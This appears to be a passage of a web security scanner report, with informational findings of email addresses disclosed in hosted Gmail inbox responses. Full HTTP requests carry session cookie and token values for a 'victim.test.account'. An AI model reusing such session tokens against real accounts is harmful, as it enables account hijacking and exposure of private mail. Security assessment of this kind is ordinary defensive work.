,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Cindy.Jutras@aberdeenreport.com\"\u003eCindy Jutras\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eJoin the Aberdeen Business Review\u003c/b\u003e","Hello %00, As an active member of our communi
...[SNIP]...
34d30","12cf40954cd34d30",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap: 33 Complimentary Reports\u003c/b\u003e","If your email program has trouble d
...[SNIP]...
89ba4","12cf0acc11789ba4","12cf0acc11789ba4",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Content Monitoring and Filtering\u003c/b\u003e","If your email program h
...[SNIP]...
2ceacb52b33cfd0","12ceacb52b33cfd0",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eYour Research Advisor\u003c/b\u003e","If your email program has trouble displaying this me
...[SNIP]...
984122,,[]
,,0,["Aberdeen Research"]
,,[]
]
,["12cea31cf3df9e9f","12cea31cf3df9e9f","12cea31cf3df9e9f",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"no-reply@huffingtonpost.com\"\u003eThe Huffington Post\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Thank you for creating an account","The Huffington Post Thanks for taking part in the Huffington Post Community! Your account ha
...[SNIP]...
57c56","12ce65ec72d57c56","12ce65ec72d57c56",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003e7 Symptoms to Self-Diagnose Your Data Protection Initiative\u003c/b\u003e","If your email
...[SNIP]...
"12ce0b571df98252",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eREMINDER: Webinar - Effective Operational Cash Management\u003c/b\u003e","Effective Operat
...[SNIP]...
0177439035,,[]
,,0,["Aberdeen Research"]
,,[]
]
,["12ce07a9e46559fa","12ce07a9e46559fa","12ce07a9e46559fa",1,0,["^all","^i","^o","^smartlabel_personal"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"cnbcmembershipservices@cnbc.com\"\u003ecnbcmembershipservices\u003c/span\u003e","\u0026raquo;\u0026nbsp;","CNBC Registration Confirmation","Welcome T, Your email address has been submitted for registration at CNBC.com and you\u0026#
...[SNIP]...
12ce07900ec5d2e5",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMobile Strategy: the Essential Role of Wireless LAN\u003c/b\u003e","Hello %00, I am the Se
...[SNIP]...
d57b80c",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 19 New Reports\u003c/b\u003e","If your email program has trouble displaying
...[SNIP]...
6a945c6","12ccc9f176a945c6",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eTechnology Toolkit: Benefits of Image-Based Recovery\u003c/b\u003e","If your email program
...[SNIP]...
12cc6eef95fa4ecb",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Dick.Csaplar@aberdeenreport.com\"\u003eDick Csaplar\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eON-DEMAND: Achieve 100% Uptime for Virtualized Applications\u003c/b\u003e","Hello %00, As Aberd
...[SNIP]...
2cc1ff92de373cd","12cc1ff92de373cd",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eReduce Your Data Loss and Data Exposure\u003c/b\u003e","If your email program has trouble
...[SNIP]...
7bf3b","12cc0eeef537bf3b","12cc0eeef537bf3b",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Improve WLAN Performance\u003c/b\u003e","If your email pr
...[SNIP]...
6dcc4","12cbbc83e066dcc4",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Assign Clear Ownership\u003c/b\u003e","If your email prog
...[SNIP]...
8d888","12cbbaa987f8d888",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Michael.Lock@aberdeenreport.com\"\u003eMichael Lock\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWebinar - Business Analytics for Midsize Businesses\u003c/b\u003e","Hello %00, As a Senior Rese
...[SNIP]...
5332386f4","12cb34f5332386f4","12cb34f5332386f4",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"sales@invisionpower.com\"\u003esales\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eDemo Account Expired\u003c/b\u003e","Thank you for your interest in IP.Board! Your private IP.Board de
...[SNIP]...
2cacc1151c19ec3","12cacc1151c19ec3",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWEBINAR - SaaS ERP: Trends \u0026amp; Observations\u003c/b\u003e","Leveraging Role-Based B
...[SNIP]...
4.2. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d0e8f3c5fb1512&th=12d0e63d3c9996ca&th=12d0e3a5c4acad90&th=12d0a6beebee22e9&th=12d09451fa4fef64&th=12d091652e6860da&th=12d04f212e521900&th=12d03f167574ad2c&th=12cfec0078f5b2d2&th=12cf9a4bc6e19bfa&prf=1&_reqid=1766657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:49 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 178414

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",393]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
1507475,"12d0e63d3c9996ca",["12d0e63d3c9996ca"]
,[]
,[]
,[["12d0e63d3c9996ca",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d0e63d3c9996ca","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293026548000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Endpoint Visibility and Control: Maintain C
...[SNIP]...
3767058,"12d09451fa4fef64",["12d09451fa4fef64"]
,[]
,[]
,[["12d09451fa4fef64",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d09451fa4fef64","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1292940675000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Wireless in Network Integration: Boost Thro
...[SNIP]...
fb1512",1,,,1293029426832864,"12d0e8f3c5fb1512",["12d0e8f3c5fb1512"]
,[]
,[]
,[["12d0e8f3c5fb1512",["^all","^i","^io_hi","^smartlabel_personal","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d0e8f3c5fb1512","",4,"cnbcmembershipservices@cnbc.com","","cnbcmembershipservices@cnbc.com",1293029411000,"T As a matter of courtesy, we would like to inform you that changes have been...",["^all","^i","^io_hi","^smartlabel_personal","^u"]
,0,1,"CNBC Profile Update Confirmation",["12d0e8f3c
...[SNIP]...
0980037,"12d04f212e521900",["12d04f212e521900"]
,[]
,[]
,[["12d04f212e521900",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d04f212e521900","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1292868122000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Mission Critical Applications: Gain Maximum
...[SNIP]...
960004817670,"12d0a6beebee22e9",["12d0a6beebee22e9"]
,[]
,[]
,[["12d0a6beebee22e9",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d0a6beebee22e9","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1292959996000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"Safeguard Data \u0026 Reduce the Total Cost of D
...[SNIP]...
4.3. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12cf4d9d34ce5a25&th=12cf47fc618483ea&th=12cf40954cd34d30&prf=1&_reqid=1866657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:51 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 89284

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",194]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
598106441053,"12cf4d9d34ce5a25",["12cf4d9d34ce5a25"]
,[]
,[]
,[["12cf4d9d34ce5a25",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12cf4d9d34ce5a25","",4,"Cindy Jutras \u003cCindy.Jutras@aberdeenreport.com\u003e","Cindy Jutras","Cindy.Jutras@aberdeenreport.com",1292598097000,"Hello %00, As an active member of our community, and a past participant in an...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Join the Aberdeen Business Review",["12cf4d
...[SNIP]...
2606367,"12cf40954cd34d30",["12cf40954cd34d30"]
,[]
,[]
,[["12cf40954cd34d30",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12cf40954cd34d30","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1292584401000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Weekly Recap: 33 Complimentary Reports",["1
...[SNIP]...
4.4. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d46ec21531890d&th=12d43a867b1bdb0d&th=12d432ea130aaa55&th=12d41bccee7101a4&th=12d3c982f9cc3072&prf=1&_reqid=1366657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:42 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 113671

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",606]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
,,1293920342931343,"12d43a867b1bdb0d",["12d43a867b1bdb0d"]
,[]
,[]
,[["12d43a867b1bdb0d",["^all","^i","^o","^smartlabel_notification"]
]
]
,,[]
,[]
,[]
]
,["ms","12d43a867b1bdb0d","",4,"Club Nintendo \u003cclubnintendo.noreply@noa.nintendo.com\u003e","Club Nintendo","clubnintendo.noreply@noa.nintendo.com",1293920264000,"Hello, Your email was provided to us by a child who has identified you as his...",["^all","^i","^o","^smartlabel_notification"]
,0,1,"Club Nintendo Child's Registration Request",["12d4
...[SNIP]...
55",1,,,1293912287135481,"12d432ea130aaa55",["12d432ea130aaa55"]
,[]
,[]
,[["12d432ea130aaa55",["^all","^i","^smartlabel_notification","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d432ea130aaa55","",4,"Netflix \u003cinfo@netflix.com\u003e","Netflix","info@netflix.com",1293912283000,"[image: Finish signing up for your FREE trial and instantly watch TV episodes...",["^all","^i","^smartlabel_notification","^u"]
,0,1,"Start your Netflix free trial today!",["12d432ea13
...[SNIP]...
\u003dhelp\" target\u003d\"_blank\"\u003eHelp Center\u003c/a\u003e.\u003cbr\u003e\u003cbr\u003e This message was mailed to [\u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e] by Netflix. \u003cbr\u003e\n SRC: US_RMKT_D11_GEN_C3\u003cbr\u003e\n Use of the Netflix service and website constitutes acceptance of our \u003ca href\u003d\"http://www.ne
...[SNIP]...
4.5. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

GET /a/%domain.name%/ HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:24 GMT
X-DNS-Prefetch-Control: off
Set-Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; Path=/a/%domain.name%
Set-Cookie: GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 63745

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>%domain.name% Mail</title>
<meta name="application-name" content="%domain.name% Mail">
<meta name
...[SNIP]...
<div class="msg">
Loading victim.test.account&hellip;
</div>
...[SNIP]...
<script>
var GLOBALS=[,,"18705364","gmail_fe_1080_p4","wwW1AwxxcRc.en.","8","!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA","/a/%domain.name%",50,"409aa4271e","victim.test.account","?ui=2&view=ss&mset=main&ver=-1x1bnqazw2zkv&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri","http://www.google.com/support/a/%domain.name%/bin/topic.py?topic=10100&hl=en",,0,"Fastdial
...[SNIP]...
unt?service=mail&hl=en","en",0,"",,,"http://www.google.com/a/help/intl/en/users/terms.html",0,"https://www.google.com/accounts/UpdateAccountRecoveryOptions?referrer=message&service=mail&hl=en"],["ui","victim.test.account","test",
"%domain.name%",,1,"http://www.google.com/calendar/hosted/%domain.name%/","https://www.google.com/a/%domain.name%/ManageAccount?service=mail&hl=en","US","/a/c/fastdial.net/",,1,0,"10883341305139
...[SNIP]...
","12d6307c28715b59","12d6307c28715b59",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"no-reply@foxsports.com\"\u003eFox Sports\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eFOXSports.com Account Verification\u003c/b\u003e","Dear FOXSports.com Member, Welcome to the FOXS
...[SNIP]...
93776","12d6136ecca93776",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMission Critical Applications: Gain Maximum Uptime\u003c/b\u003e","If your email program h
...[SNIP]...
cd5db","12d602a4df0cd5db",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 22 New Reports\u003c/b\u003e","If your email program has trouble displaying
...[SNIP]...
2d5cd1402cb670c","12d5cd1402cb670c",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMainframe Development Talent: Is Scarcity a Reality\u003c/b\u003e","If your email program
...[SNIP]...
ac35d","12d56462377ac35d",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Assign Clear Ownership\u003c/b\u003e","If your email prog
...[SNIP]...
9425d","12d5284739a9425d","12d5284739a9425d",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
